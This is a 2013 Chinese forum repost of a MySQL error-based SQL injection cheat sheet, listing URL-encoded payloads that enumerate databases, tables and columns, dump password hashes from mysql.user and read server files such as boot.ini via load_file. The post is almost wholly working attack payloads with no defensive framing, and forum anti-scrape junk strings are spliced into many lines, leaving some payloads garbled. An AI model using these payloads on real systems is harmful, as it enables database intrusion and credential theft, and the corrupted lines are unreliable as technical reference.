Mysql暴错注入参考（pdf）

admin

本帖最后由 Nightmare 于 2013-3-17 14:20 编辑

) z5 v% `* }- C/ u' D, B
Mysql暴错注入参考（pdf），每天一贴。。。

MySql Error Based Injection Reference
[Mysql暴错注入参考]
& O, H: h+ M) b7 F5 V* aAuthornig0s1992
% z& F* [( C# C2 }/ `$ ZBlog:http://pnig0s1992.blog.51cto.com/
& b: I+ x9 x/ f: Y; S% ]/ `TeAm:http://www.FreeBuf.com/
2 g8 Y$ x2 Q4 \5 ~. X, @Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
) U. d8 O: E. T+ ~/ a小部分版本使用name_const()时会报错.可以用给出的Method.2测试
" L# p4 @9 H0 u2 _查询版本:
8 e2 x) U% v" g7 zMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
join+(select+name_const(@@version,0))b)c)
6 ^7 K7 @) F1 X3 \8 WMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
, N/ _0 B* A' w) |1 T4 v  o6 Lup by a)b)
3 L% u+ E) D2 c$ m! e查询当前用户:
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
) L8 w# ?5 N9 Y- {3 `5 H8 VMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
+ s' k  B: y# K  @# J; Y& G8 Dand(0)*2))x+from+information_schema.tables+group+by+x)a)
$ I3 |/ u- @- K+ G) M查询当前数据库:
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
& `: b5 m; S1 _* K" c# y$ t依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
' y: b" r& o- M5 p% e& H& \LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
! L1 p$ U4 Z1 P8 |$ a7 R顺序替换
5 ~& R! K7 P$ Y爆指定库数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
+ Z% K( y0 _) A. w+ B+by+x)a)+and+1=1 0x6D7973716C=mysql
依次爆表:
- I8 X. x0 I5 _. Band+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
bles+group+by+x)a)+and+1=1
0x6D7973716C=Mysql 将n顺序替换
. a' J& y/ H# K2 r. Q. B) ?: a! D爆表内字段数目:
, d2 t( n/ |* c. [$ [7 Y0 O3 f: x# ?and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
依次爆字段:
) j- `6 H, Y4 N, |8 Y9 n) cand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
- Z# F- q  Y: |4 n9 _3 e+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
" a: Q9 X4 Y( Q+ Q% B$ t+ {9 I- G依次暴内容:
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
3 i- G, \* O) x1 C& G; ima.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
将n顺序替换
爆文件内容:
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
from+information_schema.tables+group+by+a)b)
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
6 t5 b* ~; u4 a9 LThx for reading.

不要下载也可以，